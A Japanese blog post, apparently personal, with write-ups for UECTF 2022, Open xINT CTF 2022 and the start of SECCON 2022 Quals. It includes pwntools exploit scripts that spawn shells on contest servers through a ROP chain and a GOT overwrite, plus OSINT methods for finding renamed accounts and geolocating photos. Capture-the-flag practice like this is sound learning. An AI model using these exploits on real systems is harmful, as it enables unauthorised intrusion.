アニメーションGIFその2。また ffmpeg -i UECTF.gif -vsync 2 frames/%d.png でバラバラにする。人間の目には何も不審な点がないように見える。

青い空を見上げればいつもそこに白い猫で見てみると、RGBのそれぞれLSBにフラグが埋め込まれていた。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

[MISC 400] PDF (16 solves)

一貫性のあるPDF

Consistent PDF

添付ファイル: chall.pdf

121ページぐらいあるPDFがある。中身は DUMMY PAGE か空か。Chromeだと何の変哲もないPDFに見えるが、Firefoxだとページ番号の様子がおかしい。

atob('VUVD')UEC なので、ページ番号にフラグが仕込まれていそう。FirefoxでPDFを開き、キーを押すたびにページ番号を記録していくスクリプトを書く。

{
  let result = '';
  document.body.addEventListener('keyup', () => {
    result += document.getElementById('pageNumber').value;
    console.log(result);
  }, false);
}

出力された VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30Base64デコードするとフラグが出てくる。

UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

本番では手作業でなんとかした。

[MISC 400] WHEREAMI (16 solves)

あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?

You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?

添付ファイル: mail.txt

与えられたファイルは以下のような内容だった。これはplus codeこないだ見たやつだ!

7RJP2C22+2222222
7RJP2G22+2222222
7VJM2C22+2222222
7VJM2G22+2222222
7RHGWW22+2222222
…

plus codeを緯度・経度に変換するPythonライブラリを使い、全部緯度・経度に変換した上でCSVにする。

from openlocationcode import openlocationcode

with open('mail.txt') as f:
  s = f.readlines()
  s = [openlocationcode.decode(x.strip()) for x in s]
  s = [x.latlng() for x in s]

with open('a.csv', 'w') as f:
  f.write('i,Lat,Long\n')
  for i, (lat, long) in enumerate(s):
    f.write(f'{i},{lat},{long}\n')

Googleマイマップで読み込むと、フラグが見えた。

leet表記でcase-sensitiveなのがちょっとつらい。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

[MISC 436] OSINT (13 solves)

There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!

あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔

https://twitter.com/__yata_nano__

とりあえずこのアカウントを見に行くと、存在しないと言われる。screen_nameを変えたのだろう。

Internet ArchiveWayback Machineで探してみると、あった。ソースを見ると "identifier": "1585261641125416961" とある。https://twitter.com/intent/user?user_id=1585261641125416961 にアクセスすると、新しいscreen_nameが ftceu とわかる。最新のツイートを見るとPastebinへのリンクがある。添付されているパスワードを入力するとフラグが得られた。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

[PWN 50] buffer_overflow (48 solves)

バッファオーバーフローを知っていますか?
Do you know buffer overflow?
コンパイルオプションは -fno-stack-protector をつけています。

gcc ./bof_source.c -fno-stack-protector

nc uectf.uec.tokyo 30002

添付ファイル: bof_source.c

bof_source.c は以下のような内容だった。scanf("%s",name); で明らかにスタックバッファオーバーフローができる。メモリ上は name のすぐ後ろに debug_flag があるはずだけれども、この debug_flag1 にすればよいらしい。

#include<stdio.h>
#include<string.h>
int debug();
int main(){
  char debug_flag,name[15];
  debug_flag='0';
  printf("What is your name?\n>");
  scanf("%s",name);
  if(debug_flag=='1'){
    debug();
  }
  printf("Hello %s.\n",name);
  return 0;
}

int debug(){
  char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
  printf("[DEBUG]:flag is %s\n",flag);
}

スタックバッファオーバーフローで置き換える。

$ echo -e "AAAAAAAAAAAAAAA1" | nc uectf.uec.tokyo 30002
What is your name?
>[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello AAAAAAAAAAAAAAA1.

フラグが得られた。

UECTF{ye4h_th1s_i5_B0f_flag}

[PWN 356] guess (19 solves)

Please guess my password.

私のパスワードを推測してください。 ※総当たりする必要はございません。そういった行為はお控えください。

nc uectf.uec.tokyo 9001

添付ファイル: chall, main.c, flag.txt, secret.txt

main.c は以下のような内容だった。secret.txt を当てればよいらしいけれども、無理。実はバッファオーバーフローができて、scanf("%32s", buf); で32バイト分を入力すると、その次の33バイト目にnull文字が書き込まれる。つまり、メモリ上で buf の次に配置されている pw (正解のパスワード)の1バイト目がnull文字になる。strncmp はnull文字が出現した以降の比較は行わないので、buf の1バイト目もnull文字にしてつじつまを合わせてやればいい。

#include <stdio.h>
#include <string.h>

void win() {
    char flag[0x20];
    FILE *fp = fopen("flag.txt", "r");
    fgets(flag, 32, fp);
    puts(flag);
    fclose(fp);
}

void secret(char *s) {
    FILE *fp = fopen("secret.txt", "r");
    fgets(s, 32, fp);
    fclose(fp);
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[32];
    char pw[32];

    secret(pw);

    printf("Guess my password\n> ");
    scanf("%32s", buf);
    if(strncmp(pw, buf, sizeof(pw)) == 0) {
        puts("Correct!!!");
        win();
    } else {
        puts("Wrong.");
    }
    return 0;
}

やってみるとフラグが得られた。

$ echo -en "\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

[PWN 489] buffer_overflow_2 (6 solves)

I made it a little harder.

ちょっと難しくしました。

nc uectf.uec.tokyo 9002

添付ファイル: chall, main.c

main.c は以下のような内容だった。明らかにスタックバッファオーバーフローができる。ただ、バイナリを file コマンドに通してみるとstatically linkedであることがわかる。system 関数みたいな有用そうなものはなかったのでROPでなんとかする必要がありそう。

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[0x60];
    printf("> ");
    read(STDIN_FILENO, buf, 0x80);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();
    puts("Bye!");
    return 0;
}

0x20バイト分のバッファオーバーフローができると言ったけれども、vuln のエピローグが leave; ret なのもあって、最初に実行できるgadgetは最大で3つだけ。無理がある(しらんけど)ので、stack pivotでなんとかする。あとはrp++でgadgetを探してROP chainを組み立てる。

まず read(STDIN_FILENO, (いい感じに書き込める.bssセクションの適当なアドレス), 0x80) 相当のことをしてから、そのまま vuln のエピローグである leave; ret を活用して、RSPを今書き込んだ .bss セクションの適当なアドレスに移す。2段階目では、syscallexecve("/bin/sh", NULL, NULL) する。

from pwn import *

pop_rax = 0x4516a7
pop_rdi = 0x4018c2
pop_rsi = 0x40f20e
pop_rdx = 0x4017cf
syscall = 0x4012d3

vuln = 0x401d65
addr_bss = 0x4c3000

payload1 = b''
payload1 = payload1.ljust(0x60)
payload1 += p64(addr_bss) # rbp
payload1 += p64(pop_rsi)
payload1 += p64(addr_bss)
payload1 += p64(vuln+41)

payload2 = b''
payload2 += b'/bin/sh\0'
payload2 = payload2.ljust(0x8)
payload2 += p64(pop_rdi) + p64(addr_bss)
payload2 += p64(pop_rsi) + p64(0)
payload2 += p64(pop_rdx) + p64(0)
payload2 += p64(pop_rax) + p64(59)
payload2 += p64(syscall)

#s = process('./chall')
s = remote('uectf.uec.tokyo', 9002)
print('[payload1]')
s.recvuntil(b'> ')
s.send(payload1)

print('[payload2]')
s.send(payload2)

s.interactive()

実行すると、シェルが取れた。

$ python3 s.py
[+] Opening connection to uectf.uec.tokyo on port 9002: Done
[payload1]
[payload2]
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグも得られた。

$ cat flag.txt
UECTF{B3l13v3_0ur_Fu7ur3}
UECTF{B3l13v3_0ur_Fu7ur3}

[PWN 488] rot13 (6 solves)

We love ROT13.

みんな大好きROT13

nc uectf.uec.tokyo 9003

添付ファイル: chall, libc-2.31.so, main.c

そうでもない。main.c は以下のような内容だった。長くてむずそう。よく見ると、createrun も、というかどのコマンドも index >= MAX_NUM || list[index] == NULL のように入力されたindexが MAX_NUM 以上でないかチェックはしているものの、0未満であるかどうかはチェックしていない。負数でもOK。そういうわけで、ヒープ領域の list より前に存在している部分を参照できる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NUM 8
#define BUF_SIZE 0x20

char **list;

int get_num(char *msg) {
    int n;

    printf("%s", msg);
    scanf("%d%*c", &n);
    return n;
}

void create() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = malloc(BUF_SIZE);
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
    list[index] = buf;
}

void run() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf = list[index];
    for(; *buf; buf++) {
        char c = *buf;
        if(c >= 'a' && c <= 'z')
            *buf = (c - 'a' + 13) % 26 + 'a';
        else if(c >= 'A' && c <= 'Z')
            *buf = (c - 'A' + 13) % 26 + 'A';
        else
            *buf = c;
    }
    puts("Done!");
}

void show() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }
    puts(list[index]);
}

void edit() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = list[index];
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char *name = malloc(BUF_SIZE);
    printf("name: ");
    scanf("%10s", name);
    printf("Hello %s!\n", name);
    free(name);

    list = calloc(MAX_NUM, sizeof(char *));

    puts("1. create");
    puts("2. run");
    puts("3. show");
    puts("4. edit");
    puts("5. exit");

    while(1) {
        int choice = get_num("> ");
        switch(choice) {
            case 1:
                create();
                break;
            case 2:
                run();
                break;
            case 3:
                show();
                break;
            case 4:
                edit();
                break;
            default:
                puts("Bye!");
                exit(EXIT_SUCCESS);
        }
    }
    return 0;
}

負数が入力できたら何ができるのか。showputs(list[index]);ブレークポイントを置いて、indexとして-6を入力してみる。すると、直前に create で入力した文字列が、表示するアドレスとして第一引数に入っていた。おっ。

gdb-peda$ b *(show+81)
Breakpoint 1 at 0x401515
gdb-peda$ r
name: kiritan
Hello kiritan!
1. create
2. run
3. show
4. edit
5. exit
> 1
index: 0
data: hoge
> 3
index: -6
gdb-peda$ p $rdi
$1 = 0x65676f68

これで任意のアドレスの読み込みができることがわかったし、edit なら任意のアドレスに書き込める。.got.plt を読んでlibcのアドレスを特定し、puts を呼ぼうとすると代わりに system が呼ばれるように .got.plt を書き換えればよい。

from pwn import *

libc = ELF('./libc-2.31.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = remote('uectf.uec.tokyo', 9003)
#s = process('./chall')

s.recvuntil(b'name: ')
s.sendline(b'a')

def execute(cmd, index, data=None, get_res=False):
  s.recvuntil(b'> ')
  s.sendline(str(cmd).encode())
  s.recvuntil(b'index: ')
  s.sendline(str(index).encode())
  if data is not None:
    s.recvuntil(b'data: ')
    s.send(data)
  if get_res:
    return s.recvline()[:-1]

addr_got_puts = 0x404020
execute(1, 0, p64(addr_got_puts)) # create

addr_puts = u64(execute(3, -6, get_res=True).ljust(8, b'\x00')) # show
libc_base = addr_puts - libc.symbols['puts']

execute(4, -6, p64(libc_base + libc.symbols['system'])) # edit
execute(1, 1, b'/bin/sh') # create
execute(3, 1) # show

s.interactive()

実行すると、シェルが得られた。

$ python3 solve.py
[+] Opening connection to uectf.uec.tokyo on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグが得られる。

$ cat flag.txt
UECTF{ROT13_stands_for_ROTate_by_13_places}
UECTF{ROT13_stands_for_ROTate_by_13_places}

[REV 50] A file (81 solves)

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

Someone erased a file extension. What contents is the file?

添付ファイル: chall

XZですねえ。

$ file chall
chall: XZ compressed data

展開するとELFファイルが出てくる。

$ mv chall chall.xz
$ xz -d chall.xz
$ ls
chall
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped

このバイナリにフラグが含まれている。

$ strings -n 8 ./chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

[REV 100] revPython (20 solves)

What does this pyc file do?

これは?

添付ファイル: a.cpython-39.pyc, flag.jpg

flag.jpg はどう見てもJPEGではないが、雰囲気から何らかの文字列とXORしていそうだとわかる。

$ xxd flag.jpg | head
00000000: aa9d bc8f 4638 5546 4156 4579 5746 4057  ....F8UFAVEyWF@W
00000010: 457f 5646 4751 4e7e 5041 4751 4c7c 5243  E.VFGQN~PAGQL|RC
00000020: 4b58 4c77 594e 495f 4d76 5b57 5359 486a  KXLwYNI_Mv[WSYHj
00000030: 5b4e 4844 506b 4456 5741 536e 594a 544c  [NHDPkDVWASnYJTL
00000040: 506f 4d57 5741 5284 8e45 0055 457f 5140  PoMWWAR..E.UE.Q@
00000050: 4751 4f7e 504c 5759 4d76 4151 5740 526f  GQO~PLWYMvAQW@Ro
00000060: 4151 5740 526f 4151 5740 526f 4151 5740  AQW@RoAQW@RoAQW@
00000070: 526f 4151 5740 526f 4151 5740 526f 4151  RoAQW@RoAQW@RoAQ
00000080: 5740 526f 4151 5740 526f 4151 bc94 466a  W@RoAQW@RoAQ..Fj
00000090: 5d43 175f 0678 5467 4356 577a 5654 42ab  ]C._.xTgCVWzVTB.

JPEGマジックナンバー+αである FF D8 FF と先頭3バイトをXORすると UEC と出てくる。strings a.cpython-39.pyc すると UECTF{ という文字列が含まれていることがわかる。UECTF{ とXORしてみると、フラグの画像が出てきた

UECTF{oh..did1s0meh0wscr3wup??}

[REV 323] captain-hook (21 solves)

haha, good luck solving this

運も実力のうち!

添付ファイル: captainhook

IDA Freewareでデコンパイルしてみると、いい感じの時刻に実行すると success と出力され、あとなんか sub_1330 という関数も呼び出されることがわかる。

success と出力するか、failure と出力するかを決める jnz を雑に jz に変えるとどうなるのか。

パッチをあてて実行するとフラグが得られた。

$ ./captainhook
success
UECTF{hmmmm_how_did_you_solve_this?}
UECTF{hmmmm_how_did_you_solve_this?}

[REV 400] discrete (16 solves)

Jumping around in memory

記憶の中でジャンプする

添付ファイル: chall

入力した文字列がフラグかどうかチェックしてくれるバイナリが与えられる。まずはフラグの文字列を特定したい。

$ ./chall
flag: hoge
invalid input length

34文字っぽい。

なんか strncmp をしている。ここにブレークポイントを置いてみる。

引数を見てみると、3バイトずつフラグをチェックしているように見える。

$ gdb ./chall
gdb-peda$ b *0x5555555560ba
Breakpoint 1 at 0x5555555560ba
gdb-peda$ r
flag: AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKK
gdb-peda$ x/s $rdi
0x7fffffffda0d: "UEC"
gdb-peda$ x/s $rsi
0x7fffffffd8c0: "AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKL"

x/s $rdi し続けると、ちょっとずつフラグが得られる。

UECTF{dynamic_static_strings_2022}

[REV 450] dotnet (11 solves)

簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)

I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)

添付ファイル: chall_x86_64_linux

ファイル名からもわかるように、ELFファイルが与えられている。.NETのデコンパイルといえばdnSpyILSpyだ。ILSpyに投げるとデコンパイルできた。この名前がUUIDになっているクラスがフラグのチェック処理っぽい。

同じ処理をすればよい。

$ python3
>>> a = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149]
>>> s = bytes(a)
>>> bytes(x ^ 0xaa ^ i for i, x in enumerate(s))
b'UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}'
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

[WEB 100] webapi (42 solves)

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?

I created a web page that fetches flags from the server and displays them, but why doesn't it work?

http://uectf.uec.tokyo:4447

与えられたURLにアクセスすると、たしかに server error と表示されていてうまく動いていないように見える。

ソースを見ると以下のような処理があった。CORSのせいでブロックされていそう。

  const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/';
  fetch(FLAG_URL)
    .then(data => {
      document.getElementsByClassName('flag-data')[0].innerText = data;
    })
    .catch(err => {
      document.getElementsByClassName('flag-data')[0].innerText = 'server error';
    })

この FLAG_URL に直接アクセスするとフラグが得られた。

UECTF{cors_is_browser_feature}

[WEB 323] request-validation (21 solves)

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。

Can you request a object?

  • First, please check the flag acquisition in your environment.

http://uectf.uec.tokyo:4446

添付ファイル: request-validation.tar.gz

ソースコードが与えられている。メインの node.js は以下のような感じ。req.query.q とクエリパラメータの q がオブジェクトならフラグが得られるっぽい。

require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`Example app listening on port ${PORT}`)
})

const FLAG = process.env.FLAG || 'flag{dummy_flag}'

app.get('/', (req, res) => {
  if (req.query.q && typeof req.query.q === 'object') {
    res.send(FLAG)
  } else {
    res.send('invalid request')
  }
})

Expressがクエリ文字列のパースに使うqsというライブラリは、?a[b]=123 のようにブラケットを使うとオブジェクトを表現できる。/?q[]=a にアクセスするとフラグが得られた。

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

Open xINT CTF 2022 writeup

10/29に6時間だけ開催された。ptr-yudaiさん、yoshikingさんと一緒にぜよぽよんつとして参加して8位。結果発表の際に運営の方も言っていたけれども、上位は団子になっていて1問の差で順位が決まるという状況だった。終了直前にあともう少しで300点のtankが解けそうというところまで来ていたのだけれども、残念ながら詰めきれなかった。とても悔しい。


競技中に解いた問題

[HUMAN 200] saitaku (56 solves)

この商品を販売している会社の社長の名前をフルネームで答えよ。

Who is the president of the company that sells these products? Answer his full name.

SAITAKUというブランドの寿司キットの写真が与えられる。私が問題を確認した時点で、yoshikingさんによってSAITAKUのWebサイトやOpenCorporatesに名前が載っている David Binns さんではないことがわかっていた。また、Ethnic Distribution GmbHという会社が関連していることもわかっていた。

「"Ethnic Distribution GmbH" president」などでググると、business-monitor.chというWebサイトが出てくる。アクセスしようとするとCloudflareにAccess deniedと怒られてしまったが、Googleのキャッシュを使うと読めた。

Roger Häcki

[HUMAN 300] ho ho ho (57 solves)

これからの季節、欲しくなるものを展示・販売するこの会社。
大使館にも表敬訪問する同社には、あるギルド会員でチーズの専門家も。
その人の名前をフルネームかつ漢字で答えよ。

Managers of this company that sells seasonal products actively engage in many fields.
Some have paid courtesy to an embassy, and one of them is an expert & a member of a cheese guild.
What is the name of the expert?
Answer in the full name in Kanji.

薪ストーブがたくさん置かれている場所の写真が与えられる。「出品チェックシート」「ヤフオク出品」などと書かれている紙が見えたのでヤフオクで探してみたりもしたが、出品数が多くてあまり参考にならない。

ほかに読める情報として「"ペレットストーブ" "風ミニアウトドア"」でググってみると、フィンランドの森を訪れたというブログ記事がヒットする*1フィンランドの森には薪ストーブ博物館という施設があるそうで、内装の写真を探すと与えられた写真と一致しているように見える。

「ギルド チーズ」でググると、世の中にはギルド・クラブ・ジャポンというギルドがあるとわかる。さらに「フィンランドの森 ギルド・クラブ・ジャポン」でググると、産経新聞の記事がヒットした。この方だ。

人見厚子

[PLACE 200] BUS (24 solves)

このバスの位置を求めよ
フラグ形式: Nxx.xxx Exxx.xxx

Answer the coordinates of this bus.
FlagFormat: Nxx.xxx Exxx.xxx

ニッポンレンタカーシャトルバスを外から撮った写真が与えられる。奥の窓にセブンイレブンのロゴが写り込んでいる。

建物も。

AIRPORT↔NRという重要そうな情報もある。

NRと聞いてまず思いついたのが成田空港を示すNRTだったけれども、それだともう一方のAIRPORTというのはなんなのか。そういうわけで、おそらく成田ではない。Google Lensで検索すると、ニッポンレンタカー旭川空港前営業所の似たペイントの車両の写真が見つかる。ただ、画像のサイズが小さく右下に書かれている文字の判別ができない。

「"ニッポンレンタカー" "旭川空港"」などでググると、同じような車両のより文字が判別しやすい写真が見つかる。AIRPORT↔NR Stationと読める。これだ。

旭川空港の施設を確認すると、セブンイレブン旭川空港店があることがわかった。このあたりをGoogleマップで探す。

N43.672 E142.453

[PLACE 200] BUS2 (32 solves)

このバスの位置を求めよ。
フラグ形式: Nxx.xxx Exxx.xxx

Answer the coordinates of this bus.
FlagFormat: Nxx.xxx Exxx.xxx

道を走るバスの写真が与えられる。写真奥のバスには「ファミリー観光」と書かれているようにみえる。岩手県紫波町花巻市を拠点とする会社らしい。

この標識が特徴的に思える。安直だけれども、岩手県道25号だろうか。

ストリートビュー岩手県道25号を調べ続けると、写真の状況とよく似ている場所が見つかる。

N39.541 E141.495

[PLACE 300] 3month (32 solves)

この建物の座標を求めよ。
フラグ形式: Nxx.xxx Exx.xxx

Answer the coordinates of this building.
FlagFormat: Nxx.xxx Exx.xxx

次のような写真が与えられる。

Google Lensに投げると上段が "АРМИЯ РОССИИ" (ARMY OF RUSSIA)、下段が "ЖИТЕЛЯМ МАРИУПОЛЯ" (FOR THE RESIDENTS OF MARIUPOL)と書かれているとわかる。おそらく、現在ロシアが占領している、ウクライナマリウポリの写真だろう。

書かれているそのままの「"АРМИЯ РОССИИ" "ЖИТЕЛЯМ МАРИУПОЛЯ"」でググると、この建物のことを書いているとみられるロシア新聞の記事がヒットする。動画付きで、周囲にどんな建物があるかもわかる。奥の教会らしき建物が特徴的だ。

Googleマップマリウポリのあたりを表示し、"church" で検索する。ひとつひとつ見ていくと、おそらくCathedral of St. Nicholas (Mariupol)であるとわかる。Googleマップでいうとここ。先程の動画のようにこの建物が映り込む場所を探す。

N47.114 E37.547

[PLACE 300] nice view (27 solves)

この写真を撮影したポイントのplus code(7桁)を答えよ。

Where did I take this photo?
Answer the plus code (7 digits).

そもそもplus codeってなんやねんというのは、ググるとわかる。複雑な経度と緯度の組み合わせでなく、地名と数文字の英数字との組み合わせである場所を指し示せるようなフォーマットで、たとえば PQ79+PH 台東区、東京都上野動物園ハシビロコウ*2舎を示している。Googleマップで適当な場所を選んでみると、plus codeが表示されているはず。

与えられた写真を見ていく。中央奥に写っている島が特徴的に思える。大きな建物があって、鉄塔が3, 4本ある。

Twitterで「"山から" "島が"」ととてもまともな検索結果が出てきそうにないクエリで検索してみると、初島に言及するツイートが出てきた。これだけでは判断できないので、ほかの初島を写した写真のツイートであったり、Google Earthであったりを確認したところ、写真に写っているのは初島だと確信する。

初島が与えられた写真のように写るのはどっちだろうかと方角を考えつつ、山の稜線であるとか、手前の山に立っている鉄塔の位置関係であるとかを、Google Earthのプロジェクトを使ってピンを立てつつ考えた。

頑張って探すと、伊豆スカイライン 多賀駐車場が見つかった。

324M+CH

[NET 100] whois (106 solves)

194.146.200.33 のAS番号を答えよ.

Answer the AS number for 194.146.200.33.

whois を叩くだけ! …かと思いきや、なぜか AS4756547565 も通らない。

$ whois 194.146.200.33 | grep AS
status:         ASSIGNED PI
% Information related to '194.146.200.32/27AS47565'
origin:         AS47565

"AS lookup" などでググると出てくるツールを適当に試すとそちらでは AS42574 という結果になった。

42574

[NET 100] SSID (39 solves)

SSID:YKAMEのBSSIDを答えよ

Answer the BSSID of SSID:YKAME.

SSIDでの検索といえばOpenWiFiMapWiGLEがある。前者では見つからなかったが、後者では日本にひとつ見つかった。

90:84:0D:F0:D1:D3

[NET 200] BB (5 solves)

バルバドスの仮想通貨に関するドメインで、使われていない登録済みドメインのRegistry Domain IDを示せ。

What is the Registry Domain ID for an unused registered domain of Barbados cryptocurrency?

バルバドスのTLD.bb だ。まずはRegistry Domain IDを知る手段を確認したい。とりあえず site:*.bb で出てきたドメイン名に対して whois を試みたところ、Webから問い合わせるようにというメッセージが表示された。

$ whois bac.gov.bb
This TLD has no whois server, but you can access the whois database at
http://whois.telecoms.gov.bb/search_domain.php

このWebサイトで適当なドメインを問い合わせたところ、Registry Domain IDが得られた。

ただ、「仮想通貨に関するドメイン」というのが何を指しているかわからない。「使われていない登録済みドメイン」というのはAレコードなどがないということだろうけれども。

ここで、WHOISの問い合わせができるWebサイトでは、以下のようにワイルドカードが使えることに気づく。

*crypto*.bb*coin*.bb などで検索するといくつかドメイン名が見つかる。ひとつひとつ dig してくと、bitcoins.bb には何もレコードがないことに気づいた。これのRegistry Domain IDがフラグだった。

BBDN-00003344

競技終了後に解いた問題

[PLACE 300] tank (9 solves)

この場所の戦車の位置を求めよ。
フラグ形式: Nxx.xxxx Exx.xxxx
https://twitter.com/huruank/status/1352248366143574020

Answer the coordinates of this tank.
FlagFormat: Nxx.xxxx Exx.xxxx
https://twitter.com/huruank/status/1352248366143574020

問題文のツイートを見てみると、撃破された戦車の写真が添付されていた。ツイートを翻訳すると2008年に起こった南オセチア紛争時に撮影された写真であることがわかる。Google Lensで検索してみると、毎日新聞VOA Newsなどの記事がヒットする。そういった記事を見ていくと、写真のキャプションなどからツヒンヴァリで撮影されたものとわかる。

撃破された兵器の情報といえばOryxということでなにか情報が得られないか探したところ、当該戦車の写真があり、ジョージア側のT-72Bであること、周囲にあと2両撃破された戦車があることがわかった。また、別の角度から撮影された写真が複数枚得られた。

どこかに撮影した位置の情報の残っている、この戦車を撮影した写真がないかと思った。Flickrでツヒンヴァリのあたりで "tank" と検索してみると、まさにこの戦車っぽい写真が1枚見つかった。ただ、N42.225593, E43.969345という位置情報も残っているものの、これは正解ではなかったし、そもそもGoogleマップ衛星写真などと見比べてもおかしい気がする。ここではない。

ここで、後ろの赤い屋根の建物の壁に描かれている(あるいは設置されている)ものを手がかりにできないかと思う。ツイートに添付されていた画像では上部しか見えていなかったが、今紹介したFlickrの写真ではほぼ全体が見えている。

Google Lensであるとか、あるいは撮影地がツヒンヴァリであるという事情からYandexを使って画像検索をしてみる。すると、Yandexで検索した際にRIAノーボスチの記事YouTubeの動画がヒットした。

特に動画の方は有用で、周辺の様子もたくさん写り込んでいる。もしかすると先程の絵かなにかは戦争後に移設されているかもしれないが、とりあえず調べてみる。動画中で、近くの建物の名称が書かれていると思われる看板に気づいた。キリル文字だが、Google Lensに読んでもらうと "Министерство юстиции" (Ministry of Justice)と書かれているらしい。どうやら、「南オセチア共和国」の「司法省」の建物のようだ。

ただ、Googleマップで "Ministry of Justice" で検索しても見つからない*3Yandexマップならば、同じ検索ワードで見つかった。と、競技時間中はここまで特定したところで時間切れ。高い精度で撮影した座標を特定しなければならないのがつらかった。美しくないけれども、ブルートフォースすればよかったかなと少し思う。

N42.2287 E43.9640

*1:今この検索ワードでググると1件もヒットしなかったが、Discordに残していたメモによればそれで見つけたっぽかった

*2:かわいい

*3:実は "Министерство юстиции" ならば見つかる

SECCON CTF 2022 Quals writeup

11/12 - 11/13という日程で開催された。昨年に引き続きkeymoonさんとのコンビで、_(-.- _) )_ *1*2というチームで参加し全体で22位、日本国内に限ると3位だった。今年度は2月に浅草橋で決勝大会が開催されるそうで、その枠が国際決勝と国内決勝で10チームずつ用意されているようなので、我々は国内決勝に参加できるということになる。やったー。

今回は(も?)私はWeb問を中心に取り組んでいたのだけれども、piyosay, denobox, spanoteといった高難易度帯の問題が解けず悔しい。終盤は半分諦めてDevil Hunter, DoroboHといったRev問に取り組んでいた。もうちょっと諦めが早ければあと1問解けたかもしれないなあと思いつつ。Web問は全問がArkさんによる作問で、どれも面白かった。

ほかのメンバーのwriteup:

keymoon.hatenablog.com

関連リンク:


[Web 100] skipinx (102 solves)

ALL YOU HAVE TO DO IS SKIP NGINX

添付ファイル: skipinx.tar.gz

ソースコードが添付されている。nginxの裏側でNode.jsのアプリが動いているような構成だった。nginxの設定ファイルである default.conf は以下のような内容だった。至極単純で、ユーザから与えられたクエリパラメータに proxy=nginx を付け加えた上で、後はそのまま裏のNode.jsのアプリに渡している。

server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

Node.jsのコードである index.js は以下のような内容だった。クエリパラメータの proxynginx という文字列が含まれていない場合にフラグを出力してくれるらしい。

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

